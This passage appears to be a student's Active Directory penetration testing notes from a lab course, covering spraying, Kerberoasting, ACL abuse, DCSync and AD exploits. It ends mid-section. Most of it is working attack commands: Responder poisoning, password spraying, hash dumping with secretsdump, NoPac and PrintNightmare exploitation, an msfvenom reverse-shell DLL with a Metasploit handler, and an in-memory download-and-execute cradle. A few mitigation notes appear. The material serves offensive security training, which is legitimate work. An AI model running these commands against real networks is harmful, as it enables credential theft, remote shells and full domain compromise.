sudo make all
```

Moving the Binary:

```shell-session
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute
```

Use with these wordlists: <https://github.com/insidetrust/statistically-likely-usernames>

#### LLMNR / NBT-NS Poisoning

[LLMNR](https://datatracker.ietf.org/doc/html/rfc4795) and [NBT-NS](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc940063\(v=technet.10\)) are alternate host-identification methods used when DNS fails.

1. A host attempts to connect to `\print01.inlanefreight.local`, but accidentally types `\printer01.inlanefreight.local`.
2. The DNS server responds that this host is unknown.
3. The host broadcasts to the local network asking for `\printer01.inlanefreight.local`.
4. The attacker (with `Responder` running) responds claiming to be that host.
5. The host sends an authentication request with a username and NTLMv2 password hash.
6. This hash can be cracked offline or used in an SMB Relay attack.

```bash
sudo responder -I ens224
```

LLMNR & NBT-NS poisoning from Windows with [Inveigh](https://github.com/Kevin-Robertson/Inveigh):

```powershell-session
Import-Module .\Inveigh.ps1
(Get-Command Invoke-Inveigh).Parameters
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
```

> *\[Screenshot: Pasted image 20250926021518.png]*

NBT-NS cannot be disabled via Group Policy but must be disabled locally on each host (Network and Sharing Center → adapter properties → IPv4 → Advanced → WINS tab → Disable NetBIOS over TCP/IP).

PowerShell startup script (Computer Configuration → Windows Settings → Script (Startup/Shutdown) → Startup):

```powershell
$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces"
Get-ChildItem $regkey |foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}
```

> *\[Screenshot: Pasted image 20250926024925.png]* — Other mitigations: filter LLMNR/NetBIOS traffic, enable SMB Signing, monitor UDP 5355 and 137, and event IDs [4697](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4697) and [7045](https://www.manageengine.com/products/active-directory-audit/kb/system-events/event-id-7045.html). Monitor `HKLM\Software\Policies\Microsoft\Windows NT\DNSClient` for `EnableMulticast` = 0. <https://www.praetorian.com/blog/a-simple-and-effective-way-to-detect-broadcast-name-resolution-poisoning-bnrp/>

#### Password Spraying

Enumerate the password policy with valid credentials:

```shell-session
crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol
```

SMB NULL session or LDAP anonymous bind:

```shell-session
rpcclient -U "" -N 172.16.5.5
querydominfo
getdompwinfo
```

Using enum4linux:

```shell-session
enum4linux -P 172.16.5.5
```

enum4linux-ng:

```shell-session
enum4linux-ng -P 172.16.5.5 -oA ilfreight
```

Establish a null session from Windows:

```cmd-session
net use \\DC01\ipc$ "" /u:""
```

Enumerating the Password Policy from Linux — LDAP Anonymous Bind:

```shell-session
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
```

Enumerating the Password Policy from Windows:

```cmd-session
net accounts
```

Using PowerView:

```powershell-session
import-module .\PowerView.ps1
Get-DomainPolicy
```

Detailed User Enumeration:

```shell-session
enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
```

`enumdomusers` via rpcclient:

```shell-session
rpcclient -U "" -N 172.16.5.5
enumdomusers
```

Using CrackMapExec --users Flag:

```shell-session
crackmapexec smb 172.16.5.5 --users
```

Gathering Users with LDAP Anonymous:

```shell-session
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
```

Using windapsearch:

```shell-session
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
```

Enumerating Users with Kerbrute (uses Kerberos Pre-Auth; does not generate event 4625). Username enumeration generates event [4768](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768) if Kerberos logging is enabled.

Using CrackMapExec with Valid Credentials:

```shell-session
sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users
```

Internal Password Spraying from a Linux Host:

```shell-session
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
```

Using Kerbrute for the Attack:

```shell-session
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1
```

Using CrackMapExec & Filtering Logon Failures:

```shell-session
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
```

Validating the Credentials with CrackMapExec:

```shell-session
sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123
```

Local admin spray with an NT hash (`--local-auth` = one attempt per machine, no lockout risk):

```shell-session
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
```

Internal Password Spraying from Windows — DomainPasswordSpray.ps1 (<https://github.com/dafthack/DomainPasswordSpray>):

```powershell-session
Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
```

> *\[Screenshots: Pasted image 20250926232717.png · 20250926232839.png]* — <https://www.hub.trimarcsecurity.com/post/trimarc-research-detecting-password-spraying-with-security-event-auditing>

Checking the Status of Defender with Get-MpComputerStatus:

```powershell-session
Get-MpComputerStatus
```

Using Get-AppLockerPolicy cmdlet:

```powershell-session
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

Enumerating Language Mode:

```powershell-session
$ExecutionContext.SessionState.LanguageMode
```

#### Credentialed Enumeration - from Linux

CrackMapExec flags: `-u` username, `-p` password, target, `--users`, `--groups`, `--loggedon-users`.

CME - Domain User Enumeration:

```shell-session
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users
```

CME - Domain Group Enumeration:

```shell-session
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups
```

CME - Logged On Users:

```shell-session
sudo crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users
```

CME Share Searching:

```shell-session
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares
```

Spider\_plus:

```shell-session
sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share 'Department Shares'
```

SMBMap To Check Access:

```shell-session
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5
```

Recursive List Of All Directories:

```shell-session
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R 'Department Shares' --dir-only
```

rpcclient:

```bash
rpcclient -U "" -N 172.16.5.5
enumdomusers
queryuser 0x457
```

Using psexec.py:

```bash
psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125
```

wmiexec.py:

```bash
wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5
```

Windapsearch - Domain Admins:

```shell-session
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
```

Windapsearch - Privileged Users:

```shell-session
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU
```

Bloodhound.py — <https://github.com/dirkjanm/BloodHound.py>:

```shell-session
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
```

Zip the files and upload them to BloodHound GUI:

```bash
zip -r ilfreight_bh.zip *.json
```

<https://wadcoms.github.io/>

#### Credentialed Enumeration - from Windows

Get domain info:

```powershell-session
Get-ADDomain
```

Get-ADUser with SPN set:

```powershell-session
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
```

Get trust relationships:

```powershell-session
Get-ADTrust -Filter *
```

Group enumeration:

```powershell-session
Get-ADGroup -Filter * | select name
```

Hunt for group info:

```powershell-session
Get-ADGroup -Identity "Backup Operators"
```

Get group membership:

```powershell-session
Get-ADGroupMember -Identity "Backup Operators"
```

Hunt for a user with PowerView:

```powershell-session
Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol
```

Recursive Group Membership:

```powershell-session
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
```

Trust enumeration:

```powershell-session
Get-DomainTrustMapping
```

Testing for Local Admin Access:

```powershell-session
Test-AdminAccess -ComputerName ACADEMY-EA-MS01
```

Finding Users With SPN Set:

```powershell-session
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
```

SharpView (a .NET port of PowerView) — get argument list with `-Help`:

```powershell-session
.\SharpView.exe Get-DomainUser -Help
```

[Snaffler](https://github.com/SnaffCon/Snaffler) hunts for credentials in AD shares (run from a domain-joined host / domain-user context):

```bash
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
```

```powershell-session
.\Snaffler.exe  -d INLANEFREIGHT.LOCAL -s -v data
```

SharpHound:

```powershell-session
.\SharpHound.exe --help
```

```powershell-session
.\SharpHound.exe -c All --zipfilename ILFREIGHT
```

#### Living Off the Land

Basic Enumeration Commands:

| **Command**                                             | **Result**                                                                      |
| ------------------------------------------------------- | ------------------------------------------------------------------------------- |
| `hostname`                                              | Prints the PC's Name                                                            |
| `[System.Environment]::OSVersion.Version`               | Prints out the OS version and revision level                                    |
| `wmic qfe get Caption,Description,HotFixID,InstalledOn` | Prints the patches and hotfixes applied to the host                             |
| `ipconfig /all`                                         | Prints out network adapter state and configurations                             |
| `set`                                                   | Displays a list of environment variables for the current session (from CMD)     |
| `echo %USERDOMAIN%`                                     | Displays the domain name to which the host belongs (from CMD)                   |
| `echo %logonserver%`                                    | Prints out the name of the Domain controller the host checks in with (from CMD) |

```powershell
systeminfo
```

Useful PowerShell cmdlets:

| **Cmd-Let**                                                                                | **Description**                                               |
| ------------------------------------------------------------------------------------------ | ------------------------------------------------------------- |
| `Get-Module`                                                                               | Lists available modules loaded for use.                       |
| `Get-ExecutionPolicy -List`                                                                | Prints the execution policy settings for each scope.          |
| `Set-ExecutionPolicy Bypass -Scope Process`                                                | Changes the policy for the current process (reverts on exit). |
| `Get-ChildItem Env: \| ft Key,Value`                                                       | Return environment values (key paths, users, computer info).  |
| `Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt` | Get the user's PowerShell history.                            |
| `powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL'); <cmds>"`         | Download a file from the web and call it from memory.         |

Downgrade PowerShell:

```powershell-session
Get-host
```

```powershell-session
powershell.exe -version 2
```

Firewall Checks:

```powershell-session
netsh advfirewall show allprofiles
```

Windows Defender Check (from CMD):

```cmd-session
sc query windefend
```

```powershell-session
Get-MpComputerStatus
```

Active sessions on the current device:

```powershell-session
qwinsta
```

Network Information:

| **Networking Command**               | **Description**                           |
| ------------------------------------ | ----------------------------------------- |
| `arp -a`                             | Lists all known hosts in the arp table.   |
| `ipconfig /all`                      | Prints adapter settings for the host.     |
| `route print`                        | Displays the routing table (IPv4 & IPv6). |
| `netsh advfirewall show allprofiles` | Displays the host's firewall status.      |

Viewing the Routing Table:

```powershell-session
route print
```

Quick WMI checks:

| **Command**                                                                          | **Description**                                                   |
| ------------------------------------------------------------------------------------ | ----------------------------------------------------------------- |
| `wmic qfe get Caption,Description,HotFixID,InstalledOn`                              | Prints the patch level and description of the Hotfixes applied    |
| `wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List` | Displays basic host information                                   |
| `wmic process list /format:list`                                                     | A listing of all processes on host                                |
| `wmic ntdomain list /format:list`                                                    | Displays information about the Domain and Domain Controllers      |
| `wmic useraccount list /format:list`                                                 | Info about local accounts and domain accounts that have logged in |
| `wmic group list /format:list`                                                       | Information about all local groups                                |
| `wmic sysaccount list /format:list`                                                  | Info about system accounts used as service accounts               |

More: <https://gist.github.com/xorrior/67ee741af08cb1fc86511047550cdaf4>

Table of Useful Net Commands:

| **Command**                                     | **Description**                                          |
| ----------------------------------------------- | -------------------------------------------------------- |
| `net accounts`                                  | Information about password requirements                  |
| `net accounts /domain`                          | Password and lockout policy                              |
| `net group /domain`                             | Information about domain groups                          |
| `net group "Domain Admins" /domain`             | List users with domain admin privileges                  |
| `net group "domain computers" /domain`          | List of PCs connected to the domain                      |
| `net group "Domain Controllers" /domain`        | List PC accounts of domains controllers                  |
| `net group <domain_group_name> /domain`         | User that belongs to the group                           |
| `net groups /domain`                            | List of domain groups                                    |
| `net localgroup`                                | All available groups                                     |
| `net localgroup administrators /domain`         | List users in the administrators group inside the domain |
| `net localgroup Administrators`                 | Information about a group (admins)                       |
| `net localgroup administrators [username] /add` | Add user to administrators                               |
| `net share`                                     | Check current shares                                     |
| `net user <ACCOUNT_NAME> /domain`               | Get information about a user within the domain           |
| `net user /domain`                              | List all users of the domain                             |
| `net user %username%`                           | Information about the current user                       |
| `net use x: \computer\share`                    | Mount the share locally                                  |
| `net view`                                      | Get a list of computers                                  |
| `net view /all /domain[:domainname]`            | Shares on the domains                                    |
| `net view \computer /ALL`                       | List shares of a computer                                |
| `net view /domain`                              | List of PCs of the domain                                |

Tip: `net1` executes the same functions as `net` without the potential trigger from the `net` string.

[Dsquery](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952\(v=ws.11\)) finds AD objects (DLL at `C:\Windows\System32\dsquery.dll`).

User Search:

```powershell-session
dsquery user
```

Computer Search:

```powershell-session
dsquery computer
```

Wildcard Search:

```powershell-session
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
```

Users With Specific Attributes Set (PASSWD\_NOTREQD):

```powershell-session
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
```

Searching for Domain Controllers:

```powershell-session
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName
```

List all disabled users with samAccountName and description:

```powershell-session
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))" -limit 0 -attr samAccountName description
```

`userAccountControl:1.2.840.113556.1.4.803:` specifies UAC attributes (see [OIDs](https://ldap.com/ldap-oid-reference-guide/)).

> *\[Screenshot: Pasted image 20250929235400.png]*

#### Kerberoasting - from Linux

Listing SPN Accounts with GetUserSPNs.py:

```shell-session
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
```

Requesting all TGS Tickets:

```shell-session
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request
```

Requesting a Single TGS ticket:

```shell-session
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev
```

Saving the TGS Ticket to an Output File:

```shell-session
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs
```

Cracking the Ticket Offline with Hashcat:

```shell-session
hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt
```

Testing Authentication against a Domain Controller:

```shell-session
sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!
```

Check what powerful local group the user is a member of:

```bash
ldapsearch -h 172.16.5.5 -x -W -D "SAPService@INLANEFREIGHT.LOCAL" -b "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" "(&(objectClass=user)(sAMAccountName=SAPService))" memberOf
```

#### Kerberoasting - from Windows

Enumerating SPNs with setspn.exe:

```cmd-session
setspn.exe -Q */*
```

Targeting a Single User:

```powershell-session
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
```

Breakdown: `Add-Type` adds a .NET framework class; `-AssemblyName` specifies the assembly; `System.IdentityModel` contains security token classes; `New-Object` creates a .NET object; `KerberosRequestorSecurityToken` requests a TGS ticket for the SPN.

Retrieving All Tickets Using setspn.exe:

```powershell-session
setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
```

Export Kerberos tickets base64-encoded with mimikatz:

```cmd-session
mimikatz # base64 /out:true
isBase64InterceptInput  is false
isBase64InterceptOutput is true
mimikatz # kerberos::list /export
```

Extracting the Kerberos Ticket using kirbi2john.py:

```shell-session
python2.7 kirbi2john.py sqldev.kirbi
```

Modifying crack\_file for Hashcat:

```shell-session
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```

Cracking the Hash with Hashcat:

```shell-session
hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt
```

Using PowerView to Enumerate SPN Accounts:

```powershell-session
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
```

Using PowerView to Target a Specific User:

```powershell-session
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
```

Exporting All Tickets to a CSV File:

```powershell-session
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation
```

Rubeus — request tickets for accounts with `admincount=1` (use `/nowrap`):

```powershell-session
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
```

Kerberoast a user:

```powershell
.\Rubeus.exe kerberoast /user:svc_vmwaresso /nowrap
```

Checking `msDS-SupportedEncryptionTypes` (`0` = default `RC4_HMAC_MD5`):

```powershell-session
Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
```

Cracking the Ticket with Hashcat & rockyou.txt:

```shell-session
hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt
```

Create a share folder via RDP to move files:

```bash
xfreerdp3 /v:10.129.40.158 /u:htb-student /p:'Academy_student_AD!' /drive:SHARED,/home/kali/HTB/ /size:90% +clipboard +fonts
xfreerdp3 /v:10.129.85.20 /u:htb-student /p:'Academy_student_AD!' /drive:SHARED,/home/kali/HTB/AD_Path /size:90% +clipboard +fonts
```

Rubeus `/tgtdeleg` forces RC4 (type 23) encryption for faster cracking:

> *\[Screenshot: Pasted image 20251001225758.png]* — <https://adsecurity.org/?p=3458>

#### ACL Enumeration

Enumerating ACLs with PowerView:

```powershell-session
Find-InterestingDomainAcl
```

Get the SID of the target user, then find interesting ACL rights:

```powershell-session
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley
Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

GUID `00299570-246d-11d0-a768-00aa006e0529` — [User-Force-Change-Password](https://learn.microsoft.com/en-us/windows/win32/adschema/r-user-force-change-password).

Performing a Reverse Search & Mapping to a GUID Value:

```powershell-session
$guid= "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
```

Using the -ResolveGUIDs Flag:

```powershell-session
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
```

Creating a List of Domain Users:

```powershell-session
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
```

A Useful foreach Loop:

```powershell-session
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl  "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
```

Investigating the Help Desk Level 1 Group with Get-DomainGroup:

```powershell-session
Get-DomainGroup -Identity "Help Desk Level 1" | select memberof
```

Investigating the Information Technology Group:

```powershell-session
$itgroupsid = Convert-NameToSid "Information Technology"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose
```

#### ACL Abuse Tactics

Creating a PSCredential Object:

```powershell-session
$SecPassword = ConvertTo-SecureString 'transporter@4' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
```

Changing the User's Password:

```powershell-session
cd C:\Tools\
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
```

Creating a SecureString Object using damundsen:

```powershell-session
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
```

Adding damundsen to the Help Desk Level 1 Group:

```powershell-session
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
```

```powershell-session
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
```

Confirming damundsen was Added to the Group:

```powershell-session
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
```

Creating a Fake SPN:

```powershell-session
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
```

Kerberoasting with Rubeus:

```powershell-session
.\Rubeus.exe kerberoast /user:adunn /nowrap
```

Cleanup steps — 1. Remove the fake SPN; 2. Remove `damundsen` from the group; 3. Reset `damundsen`'s password:

```powershell-session
Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
```

```powershell-session
Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
```

```powershell-session
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose
```

#### DCSync

Using Get-DomainUser to View adunn's Group Membership:

```powershell-session
Get-DomainUser -Identity adunn  |select samaccountname,objectsid,memberof,useraccountcontrol |fl
```

Using Get-ObjectAcl to Check adunn's Replication Rights:

```powershell-session
$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
```

Extracting NTLM Hashes and Kerberos Keys Using secretsdump.py:

```shell-session
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
```

Useful flags: `-just-dc-ntlm` (NTLM only), `-just-dc-user <USERNAME>`, `-pwd-last-set`, `-history`, `-user-status` (check disabled users).

Enumerating Further using Get-ADUser:

```powershell-session
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
```

Checking for Reversible Encryption Option using Get-DomainUser:

```powershell-session
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```

#### Privileged Access

BloodHound edges: [CanRDP](https://bloodhound.specterops.io/resources/edges/can-rdp) · [CanPSRemote](https://bloodhound.specterops.io/resources/edges/can-ps-remote) · [SQLAdmin](https://bloodhound.specterops.io/resources/edges/sql-admin).

Enumerating the Remote Desktop Users Group:

```powershell-session
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
```

Enumerating the Remote Management Users Group:

```powershell-session
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
```

BloodHound Cypher query (paste into Raw Query box):

```cypher
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
```

Establishing WinRM Session from Windows:

```powershell-session
$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred
```

Connecting with Evil-WinRM:

```shell-session
evil-winrm -i 10.129.201.234 -u forend
```

Enumerating MSSQL Instances with PowerUpSQL:

```powershell-session
cd .\PowerUpSQL\
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
```

Run queries / OS commands:

```powershell-session
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
```

Authenticate from Linux with [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py):

```shell-session
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth
```

Choosing enable\_xp\_cmdshell:

```shell-session
enable_xp_cmdshell
```

Enumerating our Rights using xp\_cmdshell:

```shell-session
xp_cmdshell whoami /priv
```

PowerView command to find where BDAVIS has CanPSRemote access:

```powershell
Get-DomainComputer | % { Get-NetLocalGroupMember -ComputerName $_.Name -GroupName "Remote Management Users" | Where {$_.MemberName -like "*BDAVIS*"} }
```

#### Kerberos "Double Hop" Problem

Workarounds covered in [this post](https://posts.slayerlabs.com/double-hop/).

Workaround #1: PSCredential Object:

```shell-session
$SecPassword = ConvertTo-SecureString '!qazXSW@' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\backupadm', $SecPassword)
```

Query the SPN accounts passing credentials:

```shell-session
get-domainuser -spn -credential $Cred | select samaccountname
```

Without `-credential` (fails):

```shell-session
get-domainuser -spn | select samaccountname
```

Workaround #2: Register PSSession Configuration — establish a WinRM session:

```powershell-session
Enter-PSSession -ComputerName ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL -Credential inlanefreight\backupadm
```

Register a new session configuration with [Register-PSSessionConfiguration](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/register-pssessionconfiguration?view=powershell-7.2):

```powershell-session
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm
```

Restart WinRM (`Restart-Service WinRM`), then start a new session:

```powershell-session
Enter-PSSession -ComputerName DEV01 -Credential INLANEFREIGHT\backupadm -ConfigurationName  backupadmse
```

Run PowerView without a new PSCredential object:

```powershell-session
C:\Users\Public> get-domainuser -spn | select samaccountname
```

#### NoPac (SamAccountName Spoofing)

[Sam\_The\_Admin](https://techcommunity.microsoft.com/t5/security-compliance-and-identity/sam-name-impersonation/ba-p/3042699) / `noPac` — CVEs [2021-42278](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42278) & [2021-42287](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42287). Intra-domain privilege escalation from any standard domain user to Domain Admin. See [this blog post](https://www.secureworks.com/blog/nopac-a-tale-of-two-vulnerabilities-that-could-end-in-ransomware).

Ensuring Impacket is Installed:

```shell-session
git clone https://github.com/SecureAuthCorp/impacket.git
python setup.py install
```

Cloning the NoPac Exploit Repo:

```shell-session
git clone https://github.com/Ridter/noPac.git
```

Scanning for NoPac:

```shell-session
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
```

Running NoPac & Getting a Shell:

```shell-session
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
```

Using noPac to DCSync the Built-in Administrator Account:

```shell-session
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator
```

#### PrintNightmare

CVEs [2021-34527](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527) & [2021-1675](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675) in the [Print Spooler service](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-prsod/7262f540-dd18-46a3-b645-8ea9b59753dc).

```shell-session
git clone https://github.com/cube0x0/CVE-2021-1675.git
```

Install cube0x0's Version of Impacket:

```shell-session
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
```

Enumerating for MS-RPRN:

```shell-session
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'
```

Generating a DLL Payload:

```shell-session
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
```

Host it in an SMB share with `smbserver.py`:

```shell-session
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
```

Configuring & Starting MSF multi/handler:

```shell-session
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.5.225
set LPORT 8080
run
```

Running the Exploit:

```shell-session
sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'
```

#### PetitPotam (MS-EFSRPC)

[This blog post](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/) covers NTLM relaying to AD CS.

Start `ntlmrelayx.py` targeting the CA Web Enrollment URL:

```shell-session
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
```

Run [PetitPotam.py](https://github.com/topotam/PetitPotam) to coerce DC authentication:

```shell-session
